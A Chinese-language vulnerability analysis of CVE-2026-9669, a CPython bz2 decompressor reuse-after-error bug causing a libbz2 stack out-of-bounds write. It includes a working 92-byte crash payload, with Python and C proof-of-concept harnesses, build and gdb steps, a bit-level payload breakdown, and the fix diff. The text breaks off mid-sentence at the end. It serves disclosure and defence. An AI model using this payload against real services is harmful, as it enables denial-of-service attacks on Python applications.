CVE-2026-9669:CPython bz2 解压器错误复用导致 libbz2 栈越界写
CVE-2026-9669 是 CPython bz2 模块的一处错误后复用缺陷:BZ2Decompressor 解压报错后仍可再次调用,libbz2 状态机以错误现场重入,越界值写入 6 字节栈数组 pos(CWE-787),触发 stack smashing detected(SIGABRT)。
CVE-2026-9669 是 CPython bz2 模块的一处错误后复用缺陷:
BZ2Decompressor解压报错后仍可再次调用,libbz2 状态机以错误现场重入,越界值写入 6 字节栈数组pos(CWE-787),触发stack smashing detected(SIGABRT)。
一、一次未被封存的错误
项 | 值 |
CVE 编号 | CVE-2026-9669 |
组件 | CPython |
缺陷类型 | 错误后复用(use-after-error)→ 状态机重入 → 栈缓冲区越界读写(CWE-787) |
CVSS v4.0 | 8.2 |
影响版本 | CPython 3.14 系列,修复于 3.16.0 之前(含 3.14.x 全分支) |
修复提交 |
|
触发前提 | 同一 |
PoC 载荷 | 92 字节(184 个 hex 字符),第二次调用仅需 18 字节 |
漏洞成因链可以一句话概括:_bz2module.c 在 BZ2_bzDecompress 返回错误后既不记录错误状态,也不冻结解压器,导致第二次调用带着第一次调用遗留的 save_j=6 等半程状态重入 BZ2_decompress;重入路径的 break 分支未复检 j >= nGroups,越界值 6 被写入 selectorMtf[298],随后逆 MTF 阶段以 v=6 索引 6 字节的栈数组 pos,发生越界读写,最终触发 *** stack smashing detected ***(SIGABRT)。
二、复现底座:一支漏洞版,一支修复版
2.1 系统基线

2.2 获取 CPython 3.14 源码并检出漏洞版
修复提交为 157a5df8,检出其父提交 157a5df8^ 即未修复版本。
# 拉取 3.14 分支并展开历史,检出漏洞提交的父提交
git clone --depth 1 --branch 3.14 https://github.com/python/cpython.git cpython-3.14
cd cpython-3.14
git fetch --unshallow
git checkout 157a5df8^
# 漏洞版:解压器结构体不含 bzerror 成员
grep -n -- '->bzerror' Modules/_bz2module.c
echo "退出码 $?"
再对照修复提交,可见该成员在解压路径上被记录、检查与初始化:
# 修复版:结构体成员 bzerror 的写入、检查与初始化
git show 157a5df8:Modules/_bz2module.c | grep -n -- '->bzerror'
2.3 构建漏洞版解释器
# 在 cpython-3.14/ 源码目录内,打开 pydebug 便于后续调试;make 多核并行
./configure --with-pydebug
make -j4
构建产物为 ./python
# 确认解释器版本
./python -V
2.4 构建修复版解释器(对照组)
复现后同环境对照,切回修复提交增量编译:
# 切到修复提交,增量构建修复版解释器
git checkout 157a5df8
make -j4
对照完成后切回父提交,把解释器恢复到漏洞版现场,供第 3 章的 PoC 实测使用:
# 从修复提交切回其父提交(漏洞版),增量构建
git checkout 157a5df8^
make -j4
2.5 构建 ASAN 版 libbz2
漏洞版解释器只能看到 stack smashing detected,拿不到精确地址,单独编译 ASAN 插桩的 libbz2 定位越界点:
# 回到工作目录,取 bzip2 源码并单独编译 ASAN 版共享库
cd ~/cve-2026-9669
apt source bzip2
mkdir -p asan && cp bzip2-1.0.8/*.c bzip2-1.0.8/*.h asan/
cd asan
gcc -g -O0 -fsanitize=address -fPIC -c blocksort.c bzlib.c compress.c crctable.c decompress.c huffman.c randtable.c
gcc -g -O0 -fsanitize=address -shared -o libbz2_asan.so *.o && echo "libbz2_asan.so 构建成功"
2.6 构建插桩版 libbz2
在 decompress.c 的 selector 解码与逆 MTF 两处插入 fprintf 观察状态机流转,先确认插入点:
# 查看 SELECTOR_3 解码循环与逆 MTF 块,确定插桩位置
sed -n '293,311p' decompress.c
用 sed 分别替换第 303 行(selector 写回)与第 314 行(逆 MTF 取值),追加打印语句;第 315 行的 tmp = pos[v] 越界读保持原样,使插桩库与 ASAN 库在越界点上的代码一致:
# W: 标记 selector 解码阶段写回的值,U: 标记逆 MTF 阶段取到的下标
sed -i '303s/.*/ s->selectorMtf[i] = j; if (i >= 295) fprintf(stderr, "W: i=%d j=%d\\n", i, j);/' decompress.c
sed -i '314s/.*/ v = s->selectorMtf[i]; fprintf(stderr, "U: i=%d v=%d\\n", i, v);/' decompress.c
gcc -g -O0 -o libbz2_o0.so -shared -fPIC blocksort.c bzlib.c compress.c crctable.c decompress.c huffman.c randtable.c && echo "libbz2_o0.so 构建成功"
W: 打印 selector 写回值、U: 打印逆 MTF 取到的下标,用于还原越界写前的最后一次状态流转;if (i >= 295) 把输出收敛到越界点(i=298)附近,避免 selector 全量刷屏。
三、让解压器死两次
3.1 触发 PoC
PoC 只依赖标准库 bz2,载荷字节在第四章拆解。
poc_bz2.py:
import bz2
import sys
# 92 字节恶意 bzip2 流:头部合法,SELECTOR_3 段在第 298 个 selector 处
# 编码为 6 个连续 1,第一次调用在 j++ 至 6 时触发 BZ_DATA_ERROR
payload = bytes.fromhex(
"425a6839314159265359000000000000007fffff000000000000000000000000"
"00000000000000000000000000000000000000e0370000000000000000000000"
"0000000000000000000000000000000000000000000000000000"
"83f3"
)
print("Python", sys.version.split()[0])
d = bz2.BZ2Decompressor()
# 第一次调用:payload 在 SELECTOR_3 段触发 BZ_DATA_ERROR,对象层抛 OSError
try:
d.decompress(payload)
except OSError as e:
print("first call: OSError ->", e)
# 关键:漏洞版报错后对象状态未冻结,needs_input 仍为 True
print("needs_input =", d.needs_input, "eof =", d.eof)
# 第二次调用:带着 save_j=6 重入状态机,18 字节零流触发越界
print("=== second call (vulnerable) ===")
out = d.decompress(b"\x00" * 18)
print("second call returned", len(out), "bytes")3.2 漏洞版复现输出
cd ~/cve-2026-9669/cpython-3.14
./python -u ../poc_bz2.py
退出码 134(SIGABRT),对应栈 canary 被越界写破坏后的 abort()。
3.3 修复版复现输出
# 2.4 节末尾已切回漏洞版,此处切到修复提交并增量重编译,再运行同一 PoC
git checkout 157a5df8
make -j4
./python -u ../poc_bz2.py

修复版在第二次调用入口直接抛 ValueError,不再触达 libbz2。needs_input 从漏洞版的 True 变为 False,正是修复 diff 中 _Py_atomic_store_char_relaxed(&d->needs_input, 0) 带来的变化。
3.4 剥掉 Python 外壳:C 直连 libbz2 的取证
Python 侧拿不到精确越界地址,把同样的两次调用用 C 直连 libbz2 重写一遍,链接 ASAN 版共享库。
cve_repro.c:
#include <stdio.h>
#include <string.h>
#include <bzlib.h>
/* 与 3.1 节相同的 92 字节载荷,逐字节展开 */
static unsigned char data[92] = {
0x42,0x5a,0x68,0x39,0x31,0x41,0x59,0x26,0x53,0x59,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0xff,0xff,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0xe0,0x37,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x83,0xf3
};
int main(void) {
bz_stream s;
char out[4096];
int r1, r2;
memset(&s, 0, sizeof(s));
BZ2_bzDecompressInit(&s, 0, 0); /* 初始化解压状态机 */
/* 第一次调用:喂入 92 字节载荷 */
s.next_in = (char *)data;
s.avail_in = (unsigned)sizeof(data);
s.next_out = out;
s.avail_out = sizeof(out);
r1 = BZ2_bzDecompress(&s); /* 返回 BZ_DATA_ERROR */
printf("call1 ret = %d\n", r1);
/* 第二次调用:18 字节零流,状态机从 save_j=6 现场重入 */
unsigned char pad[18] = {0};
s.next_in = (char *)pad;
s.avail_in = 18;
r2 = BZ2_bzDecompress(&s);
printf("call2 ret = %d\n", r2);
BZ2_bzDecompressEnd(&s);
return 0;
}编译并运行:
# 链接 ASAN libbz2,ASAN 在越界点中止并打印报告
cd ~/cve-2026-9669
gcc -g -O0 -fsanitize=address -o cve_asan cve_repro.c -Iasan asan/libbz2_asan.so
LD_LIBRARY_PATH=asan ./cve_asan
报告把越界定位于 decompress.c:315(tmp = pos[v] 的读取),pos 是 6 字节栈数组 [32, 38),访问偏移 38 溢出 1 字节。完整调用链为 BZ2_bzDecompress(bzlib.c:842) -> BZ2_decompress,cve_repro.c:39 即第二次调用 BZ2_bzDecompress 所在行。这条调用链与 3.2 节 Python 侧的 stack smashing detected 是同一处越界:canary 在函数返回时拦截了写越界,ASAN 则直接在读越界点中止。
四、位级手术:把 SELECTOR_3 缝进第 298 个符号
4.1 载荷的段布局
载荷即 3.1 节 PoC 中的 92 字节流。先从 PoC 里把 hex 串还原成二进制文件,再逐字节查看:
# 从 poc_bz2.py 中提取 hex 串并落盘为 92 字节的 payload.bz2
python3 - <<'PY'
import pathlib, re
txt = pathlib.Path('poc_bz2.py').read_text()
hx = ''.join(re.findall(r'^\s*"([0-9a-f]+)"\s*$', txt, re.M))
pathlib.Path('payload.bz2').write_bytes(bytes.fromhex(hx))
print(len(hx)//2, 'bytes written')
PY
# 92 字节载荷的原始字节,应与 poc_bz2.py 中的 bytes.fromhex 串逐字节一致
xxd payload.bz2
bzip2 位流按 GET_BITS 宏(decompress.c:43-67)以 MSB-first 顺序消费,即每个字节的高位先被读取。92 字节载荷从文件头到 SELECTOR_3 的段布局列于下表(位偏移自块起始):
段 | 字节范围 | 位数 | 值 | 说明 |
文件头 | 0-3 | 32 |
|
|
块魔数 | 4-9 | 48 |
|
|
storedBlockCRC | 10-13 | 32 |
| 解压不校验 |
RANDBIT | 14 起 | 1 | 0 | 未随机化 |
ORIGPTR | 14 起 | 24 | 0 | 指向 0 |
MAPPING_1 | 17 起 | 16 |
| 16 组全部声明有效 |
MAPPING_2 | 19 起 | 256 | 8 个 1 |
|
SELECTOR_1 | 51 起 | 3 | 6 |
|
SELECTOR_2 | 51 起 | 15 | 440 |
|
SELECTOR_3 | 53 起 | 动态 | 见 4.2 | 第 298 个 selector 触发错误 |
对应位偏移:RANDBIT 自 bit112(字节 14 的 bit0),ORIGPTR 占 bit113-136(紧随其后的 24 位),MAPPING_1 自 bit137 起。表内"起"为字节序号,"(bitN 起)"标注该段在该字节内的起始位,与 4.2 节 verify_bits.py 的 r.bits(1) / r.bits(24) 读取顺序一致。
载荷的设计目标很明确:让 nGroups、nSelectors、alphaSize 三个关键参数落在合法边界内,同时在 SELECTOR_3 段埋入一个恰好越过 nGroups 的非法 selector。nGroups=6 与 nSelectors=440 的位段位于载荷中部(第 51-52 字节),SELECTOR_3 的数据由中部零流(第 53-89 字节)与尾部 0x83 0xf3 共同提供。
4.2 第 298 次落子的窗口
SELECTOR_3 每个 selector 采用 unary 编码:j 个连续 1 后接一个 0,j 即该 selector 的 MTF 值。decompress.c:294-297 在 j++ 后立即检查 j >= nGroups,一旦达到 6 即返回 BZ_DATA_ERROR:
while (True) {
GET_BIT(BZ_X_SELECTOR_3, uc); /* 读 1 位 */
if (uc == 0) break; /* 遇到终止 0,j 即为该 selector 值 */
j++;
if (j >= nGroups) /* 越界检查:j 到 6 即报错 */
RETURN(BZ_DATA_ERROR);
}载荷把前 298 个 selector(i=0..297)全部编码为合法值(j < 6,其中仅 i=293 为 j=1,其余为 j=0),并把第 299 个 selector(i=298)编码为 6 个连续 1 且不接终止 0。这 6 个 1 恰好落在载荷尾部字节 0x83 0xf3 上:
# 载荷末尾两字节的位展开(MSB-first 消费顺序)
xxd -b -s 90 -l 2 payload.bz2
第一次调用中,SELECTOR_3 循环在 i=298 处读到第 6 个 1,j++ 至 6,命中 RETURN(BZ_DATA_ERROR),同时把现场写入 s->save_* 落盘后返回。92 字节载荷在此刻几乎耗尽,仅剩 4 位未消费。
位流拆解的正确性可以直接验证:按 GET_BITS 的 MSB-first 顺序重放载荷,应得到与后续 gdb 取证完全一致的参数。
verify_bits.py:
# 按 bzip2 GET_BITS 宏的 MSB-first 顺序重放载荷头部与 SELECTOR 段
data = bytes.fromhex(
"425a6839314159265359000000000000007fffff000000000000000000000000"
"00000000000000000000000000000000000000e0370000000000000000000000"
"0000000000000000000000000000000000000000000000000000"
"83f3"
)
class BitReader:
"""MSB-first:字节高位先出,与 GET_BITS 一致"""
def __init__(self, d):
self.d = d
self.p = 0 # 当前位偏移
def bits(self, n):
v = 0
for _ in range(n):
v = (v << 1) | ((self.d[self.p // 8] >> (7 - self.p % 8)) & 1)
self.p += 1
return v
r = BitReader(data)
for _ in range(10): r.bits(8) # BZh9 + 块魔数 1AY&SY
r.bits(32) # storedBlockCRC = 0
r.bits(1) # RANDBIT = 0
r.bits(24) # ORIGPTR = 0
m1 = [r.bits(1) for _ in range(16)]
# MAPPING_2:每组 16 位,为 1 的位计入 nInUse
nInUse = sum(r.bits(1) for i in range(16) if m1[i] for _ in range(16))
ng = r.bits(3) # SELECTOR_1: nGroups
ns = r.bits(15) # SELECTOR_2: nSelectors
print("alphaSize =", nInUse + 2, "nGroups =", ng, "nSelectors =", ns)# 用项目内解释器运行位流重放脚本
./cpython-3.14/python verify_bits.py
与 6.5 节 gdb 取证的 save_alphaSize=10, save_nGroups=6, save_nSelectors=440 完全一致 。
五、错误该被记住:对象层失守的起点
5.1 结构体定义
漏洞版 _bz2module.c:111-130 的 BZ2Decompressor 结构体(Modules/_bz2module.c):
typedef struct {
PyObject_HEAD
bz_stream bzs; /* libbz2 解压流:状态机现场保存在 bzs->state 与 save_* */
char eof; /* 是否到达流结尾 */
PyObject *unused_data; /* 流结尾之后的多余数据 */
char needs_input; /* 是否需要更多输入 */
char *input_buffer;
size_t input_buffer_size;
/* bzs->avail_in 只有 32 位,真实长度单独保存,
分块与循环封装在 decompress_buf() 中 */
size_t bzs_avail_in_real;
PyThread_type_lock lock;
} BZ2Decompressor;结构体没有记录"最近一次解压是否失败"的字段。错误状态只存在于 libbz2 内部(bz_stream 的 state 与 save_* 字段),Python 对象层对错误一无所知。
5.2 decompress_buf 的错误分支
漏洞版 decompress_buf(_bz2module.c:437-460)的核心循环:
for (;;) {
int bzret;
/* libbz2 的 avail_in 只有 32 位,按 UINT_MAX 分块喂入 */
bzs->avail_in = (unsigned int)Py_MIN(d->bzs_avail_in_real, UINT_MAX);
d->bzs_avail_in_real -= bzs->avail_in;
Py_BEGIN_ALLOW_THREADS
bzret = BZ2_bzDecompress(bzs); /* 调用 libbz2 状态机 */
Py_END_ALLOW_THREADS
d->bzs_avail_in_real += bzs->avail_in;
if (catch_bz2_error(bzret)) /* BZ_DATA_ERROR 等错误 */
goto error; /* 漏洞点:直接跳错,不记录 bzerror */
if (bzret == BZ_STREAM_END) {
d->eof = 1; /* 正常到达流结尾才置 eof */
break;
} else if (d->bzs_avail_in_real == 0) {
break; /* 输入耗尽,等待下次调用 */
} else if (bzs->avail_out == 0) {
/* 输出缓冲区满,扩容后继续 */
...
}
}catch_bz2_error(bzret) 对 BZ_DATA_ERROR 返回真,但漏洞版直接 goto error,不设置任何 Python 对象字段。上层入口 decompress_impl 只检查 eof,不检查错误状态,于是第二次调用会原样继续调用 BZ2_bzDecompress,把错误现场当作"等待更多输入"的中间态继续推进。
5.3 修复版对照
修复 diff(157a5df8)在结构体加入 int bzerror,在错误分支记录错误并冻结 needs_input,在入口拦截复用。Modules/_bz2module.c 的修复段:
/* decompress_buf 错误分支(修复后):记录错误并冻结输入状态 */
if (catch_bz2_error(bzret)) {
d->bzerror = bzret;
_Py_atomic_store_char_relaxed(&d->needs_input, 0);
goto error;
}/* decompress_impl 入口(修复后):错误后禁止再次解压 */
ACQUIRE_LOCK(self);
if (self->eof) {
PyErr_SetString(PyExc_EOFError, "End of stream already reached");
}
else if (self->bzerror) {
/* 错误后复用 BZ2_bzDecompress 可导致越界写 */
PyErr_SetString(PyExc_ValueError,
"Decompressor is unusable after a previous error");
}
else {
result = decompress(self, data->buf, data->len, max_length);
}修复把"错误"从 libbz2 内部状态提升为 Python 对象的一等公民,从源头切断重入路径。
六、RETURN 宏写下的越界伏笔
6.1 状态机常量
BZ2_decompress 由 BZ_X_* 状态常量驱动。与本次漏洞相关的状态集中在头部解析到 MTF 解码之间(bzlib_private.h):
#define BZ_X_MAGIC_1 10
#define BZ_X_MAGIC_2 11
...
#define BZ_X_MAPPING_1 28
#define BZ_X_MAPPING_2 29
#define BZ_X_SELECTOR_1 30
#define BZ_X_SELECTOR_2 31
#define BZ_X_SELECTOR_3 32
#define BZ_X_CODING_1 33
...
#define BZ_X_MTF_1 36其中 BZ_X_SELECTOR_3 = 32 正是重入时恢复的状态。
6.2 GET_BITS 宏与增量解压
GET_BITS 宏(decompress.c:43-67)以 case 标签进入状态,bsBuff 左移累积字节(MSB-first),按需装载输入:
#define GET_BITS(lll,vvv,nnn) \
case lll: s->state = lll; \
while (True) { \
if (s->bsLive >= nnn) { \
UInt32 v; \
v = (s->bsBuff >> \
(s->bsLive-nnn)) & ((1 << nnn)-1); \
s->bsLive -= nnn; \
vvv = v; \
break; \
} \
if (s->strm->avail_in == 0) RETURN(BZ_OK); \
s->bsBuff \
= (s->bsBuff << 8) | \
((UInt32) \
(*((UChar*)(s->strm->next_in)))); \
s->bsLive += 8; \
s->strm->next_in++; \
s->strm->avail_in--; \
...
}注意 avail_in == 0 时的 RETURN(BZ_OK):解压中途输入耗尽返回成功,等下次调用继续。这正是增量解压的工作方式,也是"重入"在协议层面合法的原因——状态机设计上就允许任意中间状态被恢复。GET_BIT(decompress.c:70)是 GET_BITS 的单 bit 包装,SELECTOR_3 的 unary 解码正是逐位调用它。
6.3 RETURN 宏与现场落盘
RETURN 宏(decompress.c:40)统一走 save_state_and_return 标签(decompress.c:619),把全部中间状态写入 s->save_*:
#define RETURN(rrr) \
{ retVal = rrr; goto save_state_and_return; };save_state_and_return:
s->state = zzz; /* 当前状态:BZ_X_SELECTOR_3 = 32 */
s->bsLive = bsLive;
s->bsBuff = bsBuff;
s->strm->avail_in = avail_in;
s->strm->next_in = next_in;
s->save_i = i; s->save_j = j; /* 关键:错误发生时 i=298, j=6 */
s->save_nGroups = nGroups; s->save_nSelectors = nSelectors;
s->save_alphaSize = alphaSize;
return retVal;RETURN(BZ_DATA_ERROR) 与 RETURN(BZ_OK) 共用同一落盘逻辑。也就是说,错误现场与正常"等待输入"现场在状态机层面没有任何区别,都表现为可重入的中间状态。对象层若不拦截,第二次调用就会从错误现场继续执行。这是本漏洞得以成立的结构性原因。
6.4 从 32 号状态重入
状态迁移全过程可以用一张流程图表达:
图中两次调用被虚线连接的部分就是漏洞的核心:错误落盘(H->I)与合法等待输入落盘走同一条路径,导致第二次调用(J)直接复用了错误现场。
6.5 gdb 取证:重入现场
在 BZ2_decompress 入口断点,分别观察第一次调用与第二次调用进入时的状态。cve_repro_g(即 3.4 节的 cve_repro.c 以 -g 编译):
# 在工作目录下用 -g 重编译,使 gdb 能打印结构体字段
gcc -g -O0 -o cve_repro_g cve_repro.c -Iasan asan/libbz2_o0.so
# 批处理模式:入口打印首次调用状态,continue 后在第二次入口再打印一次
gdb -q -batch -ex 'set pagination off' -ex 'set breakpoint pending on' \
-ex 'break BZ2_decompress' -ex 'run' \
-ex 'printf "ENTRY state=%d save_i=%d save_j=%d save_nGroups=%d save_nSelectors=%d save_alphaSize=%d\n", s->state, s->save_i, s->save_j, s->save_nGroups, s->save_nSelectors, s->save_alphaSize' \
-ex 'continue' \
-ex 'printf "ENTRY state=%d save_i=%d save_j=%d save_nGroups=%d save_nSelectors=%d save_alphaSize=%d\n", s->state, s->save_i, s->save_j, s->save_nGroups, s->save_nSelectors, s->save_alphaSize' \
./cve_repro_g
Function "BZ2_decompress" not defined. 与紧随的 pending 是同一条断点在共享库加载前的正常提示;W: 行来自 2.6 节插桩版 libbz2_o0.so。第一次调用进入时 state=10(BZ_X_MAGIC_1),save_* 全零;第二次进入时 state=32(BZ_X_SELECTOR_3),携带第一次调用落盘的 save_i=298、save_j=6、save_nGroups=6、save_nSelectors=440、save_alphaSize=10。两条 ENTRY 就是"错误现场重入"的直接证据,也与 4.2 节的位流重放互相印证。
七、逆 MTF 捅穿 pos[6]
7.1 越界链
第二次调用从 state=32 恢复后,SELECTOR_3 循环(decompress.c:293-298)在 i=298 处继续:
while (True) {
GET_BIT(BZ_X_SELECTOR_3, uc); /* 读 1 位 */
if (uc == 0) break; /* 重入点:j=6 时读到 0 直接跳出 */
j++;
if (j >= nGroups) RETURN(BZ_DATA_ERROR);
}关键在 j 的初值:第一次调用落盘 save_j=6,重入时 j 恢复为 6。第二次调用的 18 字节输入全为零,GET_BIT 读到 0,命中 if (uc == 0) break; 直接跳出循环——该分支不复检 j >= nGroups。于是越界值 6 被写回 selectorMtf[298],随后进入逆 MTF 阶段。
插桩输出给出两次调用合并后的完整序列(W: 为 selector 解码,U: 为逆 MTF):
# 链接插桩版 libbz2(-O0),本节的观察对象
cd ~/cve-2026-9669
gcc -g -O0 -o cve_repro cve_repro.c -Iasan asan/libbz2_o0.so
# 过滤插桩输出中越界点附近的关键行
./cve_repro 2>&1 | grep -E 'W: i=(29[0-9]|30[0-9])|U: i=(29[0-9]|30[0-9])'
W: i=298 j=6 即重入路径写回越界值;随后逆 MTF 阶段 U: i=298 v=6 以 v=6 索引 pos。注意第一次调用在 i=298 处已经因 j=6 返回错误,W: i=298 j=6 是第二次调用重入后打印的——两条输出(W 与 U)分别来自两次调用的后半程,正好拼出完整的越界链路。
7.2 逆 MTF 越界
逆 MTF 块(decompress.c:308-320)维护 6 字节的栈数组 pos,以 MTF 值索引:
{
UChar pos[BZ_N_GROUPS], tmp, v; /* pos 只有 BZ_N_GROUPS=6 字节 */
for (v = 0; v < nGroups; v++) pos[v] = v;
for (i = 0; i < nSelectors; i++) {
v = s->selectorMtf[i]; /* decompress.c:314:v=6,越界 MTF 值 */
tmp = pos[v]; /* decompress.c:315:越界读,ASAN 命中点 */
while (v > 0) { pos[v] = pos[v-1]; v--; } /* v=6 越界写 */
pos[0] = tmp;
s->selector[i] = tmp;
}
}v=6 时执行 tmp = pos[6]:读取越界 1 字节;随后 while 循环执行 pos[6] = pos[5]:写入越界 1 字节。ASAN 报告先命中读取(decompress.c:315),栈布局 pos[32, 38),偏移 38 溢出。
越界发生在栈帧中的位置:
越界字节落在 pos 之后紧邻的栈变量区域。在漏洞版解释器中,这一字节破坏的恰好是 canary 所在区域,函数返回时触发 stack smashing detected;在 ASAN 版中则被精确报告为 pos[32, 38) 偏移 38 的越界访问。
7.3 从 OSError 到 SIGABRT
时序图摊平对象层与状态机层的交互:Python 侧只看到"首次报错、二次崩溃",真正发生的是 libbz2 带着错误现场重入,在逆 MTF 段越界。
八、影响半径:从 tarfile 到 pandas
8.0 受影响版本
范围 | 版本 |
受影响 | CPython < 3.16.0(含 3.14 / 3.15 系列全版本) |
首个修复版本 | 3.16.0(主分支提交 |
3.14 分支修复 | backport 提交 |
受影响的判定标准不是"能否解压 bz2",而是是否允许在解压报错后继续调用同一 BZ2Decompressor 实例。3.16.0 之前的所有版本在该路径上均存在缺陷;3.14 系列在 backport 合入前的维护版本同样受影响(对应 2.3 节构建的 3.14.5+ 验证环境)。
8.1 谁在使用增量解压器
漏洞的对象是 BZ2Decompressor,它是 bz2 模块中增量解压的入口。要评估触发面,先分清 bz2 模块的几种使用形态:
形态 | API | 是否复用实例 | 是否受影响 |
一次性解压 |
| 否(内部新建对象,用完即弃) | 不受影响 |
文件对象 |
| 内部持有一个解压器,流式读取 | 取决于读取模式 |
增量对象 |
| 是(多次调用同一实例) | 受影响 |
漏洞只出现在"同一实例多次调用"的路径上。一次性解压即使输入恶意流,也只触发第一次调用就结束,错误对象被丢弃,没有第二次机会。
8.2 标准库链路
标准库中凡是"流式消费 bz2 数据"的功能,都可能把外部输入喂给增量解压器:
- tarfile:
.tar.bz2归档流式解压。攻击者提供的恶意.tar.bz2若让程序对归档内容做分段读取,会反复调用解压器;若解压中途报错后程序继续尝试读取下一个成员,即可能命中复用路径。tarfile 对损坏成员一般会抛ReadError/EOFError并中止,但依赖具体错误处理分支。 - zipfile:
ZIP_DEFLATED之外支持 bz2 压缩方法(方法码 12)。恶意 zip 内单个条目用 bz2 压缩,读取条目内容时同样走增量解压。 - shutil / 打包分发:
shutil.make_archive等工具在解压 .tar.bz2 时复用 tarfile 路径。 - pip / wheel:wheel 实际使用 zip 容器,若 wheel 内条目采用 bz2 压缩(合法但罕见),安装流程会解压该条目。
这些链路共同点是:输入来源是文件或网络流,程序在不知情的情况下把恶意 bz2 流喂给解压器。但只有"报错后继续调用同一实例"的程序逻辑才会触发漏洞,多数工具在解压报错后会中止流程,因此实际暴露面取决于错误处理策略,而非仅取决于数据来源。
8.3 第三方生态链路
Python 生态中 bz2 增量解压同样常见于数据处理与云存储场景:
- pandas:
pd.read_csv(..., compression='bz2')底层用bz2.BZ2Decompressor流式读取,文件在解压中途损坏时 pandas 会向用户抛错,一般不继续。 - boto3 / s3fs / gcsfs:对象存储下载
.tar.bz2或.bz2文件时流式解压;若业务代码在捕获解压异常后重试同一流对象,可能复用。 - sqlite3 backup:
sqlite3.Connection.backup()及备份工具若启用 bz2 压缩并支持中断续传,会复用解压器。 - 消息队列 / 日志管道:以 bz2 压缩的日志分片被流式消费,消费端在"解码错误重试"逻辑下可能复用实例。
这些场景的共同模式是"流式 + 可重试"。一次性读取后即关闭的场景天然免疫,只有把解压器当作长生命周期对象、并在错误后不重建而是重试的代码才暴露。
8.4 危害边界
- 可用性:触发即进程 SIGABRT,是确定性的 DoS。攻击者只需让受害者程序解压一次恶意 bz2 流,即可使进程崩溃;对长驻服务(消息消费、网关解压)效果明显。
- 完整性:越界读写均为 1 字节,落在
pos之后的相邻栈变量区域。ASAN 显示先读后写,写发生在while循环内(pos[6] = pos[5]),可破坏相邻栈字节。能否进一步转化为控制流劫持取决于栈布局与相邻变量,实证阶段未发现直接 RIP 控制路径,官方也未按任意代码执行评级。 - 复杂度:触发无需堆风水、无需大内存、无需特定平台,92 字节载荷 + 18 字节零流即可稳定崩溃,攻击成本极低。
综合来看,CVE-2026-9669 的实际危害以低成本的确定性远程 DoS 为主,凡是接受不可信 bz2 数据并可能复用解压器的程序都在暴露面上;在 3.14 系列升级修复版本前,应优先审计流式解压 + 错误重试的代码路径。
九、一行 bzerror 封住重入门
9.1 官方修复 diff
# 进入源码仓库,查看修复提交对 _bz2module.c 的全部改动
cd ~/cve-2026-9669/cpython-3.14
git show 157a5df8 -- Modules/_bz2module.ccommit 157a5df8cb5d82b33f918a7489e72ce95ceb12b6
Author: Stan Ulbrych <stan@python.org>
Date: Sun Jun 7 19:37:10 2026 +0100
[3.14] gh-150599: Prevent bz2 decompressor reuse after errors (#150600) (#151054)
(cherry picked from commit 5755d0f083949ff3c5bf3a37e673e24e306b036e)
diff --git a/Modules/_bz2module.c b/Modules/_bz2module.c
index 6e76e537a7..e6b8198b90 100644
--- a/Modules/_bz2module.c
+++ b/Modules/_bz2module.c
@@ -116,6 +116,7 @@ typedef struct {
typedef struct {
PyObject_HEAD
bz_stream bzs;
+ int bzerror;
char eof; /* Py_T_BOOL expects a char */
PyObject *unused_data;
char needs_input;
@@ -459,8 +460,11 @@ decompress_buf(BZ2Decompressor *d, Py_ssize_t max_length)
d->bzs_avail_in_real += bzs->avail_in;
- if (catch_bz2_error(bzret))
+ if (catch_bz2_error(bzret)) {
+ d->bzerror = bzret;
+ _Py_atomic_store_char_relaxed(&d->needs_input, 0);
goto error;
+ }
if (bzret == BZ_STREAM_END) {
d->eof = 1;
break;
@@ -629,10 +633,17 @@ _bz2_BZ2Decompressor_decompress_impl(BZ2Decompressor *self, Py_buffer *data,
PyObject *result = NULL;
ACQUIRE_LOCK(self);
- if (self->eof)
+ if (self->eof) {
PyErr_SetString(PyExc_EOFError, "End of stream already reached");
- else
+ }
+ else if (self->bzerror) {
+ // Re-entering BZ2_bzDecompress() after an error can write out of bounds.
+ PyErr_SetString(PyExc_ValueError,
+ "Decompressor is unusable after a previous error");
+ }
+ else {
result = decompress(self, data->buf, data->len, max_length);
+ }
RELEASE_LOCK(self);
return result;
}
@@ -666,6 +677,7 @@ _bz2_BZ2Decompressor_impl(PyTypeObject *type)
return NULL;
}
+ self->bzerror = 0;
self->needs_input = 1;
self->bzs_avail_in_real = 0;
self->input_buffer = NULL;修复共三处:结构体增加 bzerror 成员(修复版文件第 119 行);错误分支记录 bzerror 并置零 needs_input(第 464-465 行);入口检查 bzerror 并抛 ValueError(第 639-641 行)。另有 __new__ 初始化 self->bzerror = 0(第 680 行),保证新建对象处于干净状态。另需注意:漏洞版本就存在同名局部变量 bzerror 与 catch_bz2_error() 函数(2.2 节已说明),修复的关键是把它从栈上局部量提升为对象内的持久化状态。
9.2 修复有效性
- 错误被对象层捕获后,
bzerror != 0使所有后续decompress()调用在触达 libbz2 前返回ValueError,重入路径被彻底关闭。 needs_input置零修正了漏洞版"报错后needs_input仍为 True"的误导性状态(3.3 节的输出对比清晰可见)。- 修复在 Python 层完成,不修改 libbz2 状态机本身;底层
BZ2_bzDecompress仍允许调用者自行复用出错流。这提示一个审计要点:任何封装增量解压库的对象层,都应在错误后显式冻结实例,而不是依赖底层状态机的健壮性。
9.3 缓解建议
未升级的场景可临时缓解:
- 捕获
OSError后重建解压器实例,而不是复用;对BZ2File的流式读取,错误后重新打开文件。 - 对不可信 bz2 输入先做一次独立的
bz2.decompress完整性校验,通过后再交给增量解压路径。 - 在边界网关层对解压请求限流,缓解确定性 DoS 的放大效应。
十、余波
根因链收敛为一条明确的因果路径:
- 对象层
decompress_buf在 libbz2 报错后不记录错误状态(_bz2module.c:459漏洞分支); - libbz2 的
RETURN宏(decompress.c:40)对错误与正常"等待输入"共用save_state_and_return标签(decompress.c:619)落盘,错误现场表现为可重入中间态; - 第二次调用重入
state=32,恢复j=6,GET_BIT=0的break分支不复检j >= nGroups(decompress.c:295),越界值写入selectorMtf[298]; - 逆 MTF 阶段以
